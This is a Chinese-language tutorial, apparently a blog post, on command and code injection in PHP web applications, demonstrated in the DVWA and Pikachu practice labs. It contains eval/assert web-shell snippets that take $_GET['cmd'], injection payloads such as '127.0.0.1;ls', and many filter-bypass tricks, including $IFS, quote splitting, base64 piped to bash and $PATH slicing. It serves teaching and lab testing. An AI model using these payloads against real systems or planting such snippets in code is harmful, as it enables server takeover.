Web安全之命令执行漏洞

一、漏洞简介

1.1、漏洞简介与产生原因

什么是命令执行

当 Web 应用需要调用一些执行系统命令的函数时,并且用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

什么是代码执行

代码执行顾名思义就是将用户输入的内容作为脚本代码进行执行的一类漏洞,此类漏洞影响很大,在权限较大的情况下可以直接接管服务器。

漏洞产生的原因

服务器没有对执行命令的函数或管道符做严格的过滤,最终导致漏洞的产生。

命令执行与代码执行区别

代码执行本质上是调用后端语言来执行特定代码,而命令执行本质是调用系统的命令执行的接口,命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令。

1.2、常见命令执行函数

1.2.1、PHP命令执行函数

PHP命令执行函数如下表:

函数描述
exec()

不输出结果,返回执行结果的最后一行,可以使用 output 进行输出

system()该函数会把执行结果输出,并把输出结果的最后一行作为字符串返回,如果执行失败则返回 false
popen()打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
passthru()此函数只调用命令,并把运行结果原样地直接输出,没有返回值
proc_open()执行一个命令,并且打开用来输入/输出的文件指针
pcntl_exec()在当前进程空间执行指定程序
shell_exec()通过 shell 执行命令并将完整的输出以字符串的方式返回
反引号(`)反引号(`)实际上是使用 shell_exec() 函数

(1)exec()函数

exec() 不输出结果,执行后返回最后一行,如果想看执行结果需要使用 echo、var_dump 等函数进行输出。

<?php
    exec("ping 127.0.0.1");
?>

<?php
    echo exec("ping 127.0.0.1");
?>

(2)system()函数

该函数会把执行结果输出,并把输出结果的最后一行作为字符串返回,如果执行失败则返回 false。

<?php
    system("ping 127.0.0.1");
?>

(3)popen()函数

执行一个命令,并且打开用来输入/输出的文件指针。

<?php
$cmd = "ipconfig";
$fp = popen($cmd,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道取出内容
    $out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>

(4)passthru()函数

此函数只调用命令,并把运行结果原样地直接输出,没有返回值。

<?php
    passthru("ping 127.0.0.1");
?>

(5)proc_open()函数

执行一个命令,并且打开用来输入/输出的文件指针。

<?php
$cmd = "ipconfig";
$array = array(
    array("pipe","r"), //标准输入
    array("pipe","w"), //标准输出内容
    array("pipe","w") //标准输出错误
);
$fp = proc_open($cmd,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

(6)pcntl_exec()函数

在当前进程空间执行指定程序。

要求:linux系统特有模块,需编译选项中存在 enable-pcntl。

(7)shell_exec()函数

通过 shell 执行命令并将完整的输出以字符串的方式返回。

<?php
    echo shell_exec("ipconfig");
?>

(8)反引号(`)函数

反引号(`)实际上是使用 shell_exec() 函数。

<?php
    echo `ipconfig`;
?>

1.2.2、PHP代码执行函数

PHP代码执行函数如下表:

函数描述
eval()函数把字符串按照 PHP 代码来计算
assert()与 eval 类似,assert 函数是直接将传入的参数字符串当成 PHP 代码
preg_replace()执行命令和上传文件参考assert函数(不需要加分号)。 将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞
create_function()

创建了一个匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function() 执行任意命令

array_map()

将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数, 也可以这么说传入的参数作为 assert 函数的参数
call_user_func_array()将传入的参数作为数组的第一个值传递给 assert 函数
array_filter()用回调函数过滤数组中的元素:array_filter(数组,函数)
uasort()通过用户自定义的比较函数对数组进行排序

(1)eval

eval 函数把字符串按照 PHP 代码来计算。

<?php
    eval($_GET['cmd']);
?>

(2)assert

与 eval 类似,assert 函数是直接将传入的参数字符串当成 PHP 代码。

<?php
    assert($_GET['cmd']);
?>

(3)preg_replace

执行命令和上传文件参考 assert 函数(不需要加分号)。 将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用 /e 修饰符,则存在代码执行漏洞。

<?php
    @preg_replace("/Test/e",$_GET["cmd"],"Test");
?>

 (4)create_function

创建了一个匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function() 执行任意命令。

<?php
    $func = create_function('',$_GET['cmd']);
    $func();
?>

(5)array_map函数

将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

<?php
    $func=$_GET['func'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    echo $new_array;
?>

(6)call_user_func函数

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数, 也可以这么说传入的参数作为 assert 函数的参数。

<?php
    call_user_func("assert",$_GET['cmd']);
?>

(7)call_user_func_array函数

将传入的参数作为数组的第一个值传递给 assert 函数。

<?php
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
?>

(8)array_filter函数

用回调函数过滤数组中的元素:array_filter(数组,函数)。

<?php
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
?>

(9)uasort函数

通过用户自定义的比较函数对数组进行排序。

<?php
    usort($_GET,'asse'.'rt');
?>

1.3、认识管道符

管道符描述/用法
;A;B 从左往右执行,彼此不关心失败,都会全部执行
|A|B 无论执行的A命令是否正确,B命令都执行
||A||B A执行失败,B才会执行
&A&B 先执行B,再执行A
&&

A&&B A执行成功才会执行B

二、环境下载

DVWA下载地址:https://github.com/digininja/DVWA

Pikachu:GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台

三、漏洞利用

3.1、命令执行与代码执行

3.1.1、命令执行漏洞利用

设置 DVWA 安全等级为 Low。

 访问 DVWA 漏洞环境,进入 Command Injection 选项。

地址栏提示请输入 IP 地址(Enter an IP address),这里输入本地 IP 地址并提交。

提交后会执行一个 ping 命令操作,接着利用管道发进行拼接让服务器执行两条或多条命令。

管道符描述/用法
;A;B:从左往右执行,彼此不关心失败,都会全部执行
|A|B:不执行A,只执行B
||A||B:A执行失败,B才会执行
&A&B:先执行B,再执行A
&&A&&B:A执行成功才会执行B
127.0.0.1;ls

3.1.2、代码执行漏洞利用

访问 pikachu 漏洞环境下的 RCE -> exec "eval" 选项。

输入框输入如下数据并提交即可执行系统命令。

system("ls");

3.2、常见绕过姿势

3.2.1、管道符过滤绕过

管道符描述/用法
;A;B 从左往右执行,彼此不关心失败,都会全部执行
|A|B 不执行A,只执行B
||A||B A执行失败,B才会执行
&A&B 先执行B,再执行A
&&A&&B A执行成功才会执行B
%0a%0a换行的意思127.0.0.1%0acat /flag
%0d%0d回车的意思127.0.0.1%0dcat /flag

将 DVWA 安全等级设置为 Medium。

进入 Command Injection 选项。

点击 View Source 查看源代码。

 从源代码中可以看到过滤了 &&、; 两个管道符,那么可以使用:&、|、||、%0a、%0d 等进行绕过。

127.0.0.x | ls

3.2.2、空格过滤绕过

绕过姿势描述用法
${IFS}$IFS是Linux里的环境空变量127.0.0.1;cat${IFS}flag.txt
$IFS$9$IFS是Linux里的环境变量,$9是第九个值是个空字符127.0.0.1;cat$IFS$9flag.txt
<小于号绕过127.0.0.1;cat<flag.txt
<>大小于号绕过127.0.0.1;cat<>flag.txt
{}大括号绕过127.0.0.1;{cat,flag.txt}
a=$'xxx'利用变量和\x20绕过,\x20就是空格127.0.0.1;a=$'\x20flag.txt';cat$a
%09%09只适合使用在php127.0.0.1;cat%09flag.txt
  • ${IFS}

$IFS 是 Linux 里的环境变量。

cat${IFS}flag.txt

  • $IFS$9

$IFS 是 Linux 里的环境变量,$9是第九个值是个空字符。

cat$IFS$9flag.txt

  • <
cat<flag.txt

  • <>
cat<>flag.txt

  • {}
{cat,flag.txt}

  • $a=$'xxx'
a=$'\x20flag.txt';cat$a

3.2.3、关键字过滤绕过

有些服务器可能过滤掉一些关键字如:flag 等关键字。

(1)转义符与单双引号绕过

cat f\l\a\g.txt
cat fl''ag.txt
cat fl'a'g.txt

 

(3)拼接法绕过

a=fl;b=ag.txt;cat $a$b

(4)空变量绕过

使用空变量$*、$@、$x、${x}绕过

cat fla$*g.txt
cat fla$@g.txt
cat fla$5g.txt
cat fla${6}g.txt

(5)内联执行绕过

绕过符号描述用法
`他会把当前ls出来的全部东西,全部进行一个cat操作127.0.0.1;cat `ls`
$()127.0.0.1;cat $(ls)

(6)编码绕过

echo Y2F0IGZsYWcudHh0Cg==|base64 -d|bash
echo Y2F0IGZsYWcudHh0Cg==|base64 -d|sh

 (7)正则绕过

正则符号描述用法
?单个字符的意思127.0.0.1;cat f???
*多个的意思127.0.0.1;cat fl*
cat fla*
cat fl?g.???

3.2.4、命令执行函数绕过

有些服务器可能过滤掉一些命令执行函数如:system 等函数。

(1)大小写绕过

(2)内联执行绕过

绕过符号描述用法
`他会把当前ls出来的全部东西,全部进行一个cat操作127.0.0.1;echo `ls`
$()127.0.0.1;echo $(ls)

3.2.5、查看命令过滤绕过

 (1)替代法绕过

命令描述
cat由第一行开始显示内容,将所有内容输出
tac从最后一行倒序显示内容,并将所有内容输出
more根据窗口大小,一页一页的实现文件内容
less和more类似,但其优点可以往前翻页,而且可以进行搜索字符
head只显示头几行
tail只显示最后几行
nl类似cat -n,显示是输出行号
tilf类似于tail -f
sort读文件
dir查看当前目录文件,类似ls
od -a读文件
xxd读文件
vi利用vi查看数据,这个比较挑环境
vim利用vim查看数据,这个比较挑环境
grepgrep "key" key.php
sed -nsed -n '1,5p' ../key.php

(2)转义符绕过

c\a\t flag.txt

3.2.6、输入字符串长度限制

(1)前端验证绕过

F12 修改 maxlength 值。

(2)目录创建拼接法

touch "ag.txt"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell

3.2.7、利用$PATH环境变量绕过

(1)字母过滤绕过

利用环境变量来截取字母达到绕过过滤

echo $PATH
${PATH:5:1}${PATH:2:1}

 (2)数字过滤绕过

查看与 5 相关的环境变量。

for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5 

查看与 11 相关的环境变量。 

for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 11

这里为什么搜索 5 和 11,因为 5 和 11 在 $PATH 分别对应的为 ls。

${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值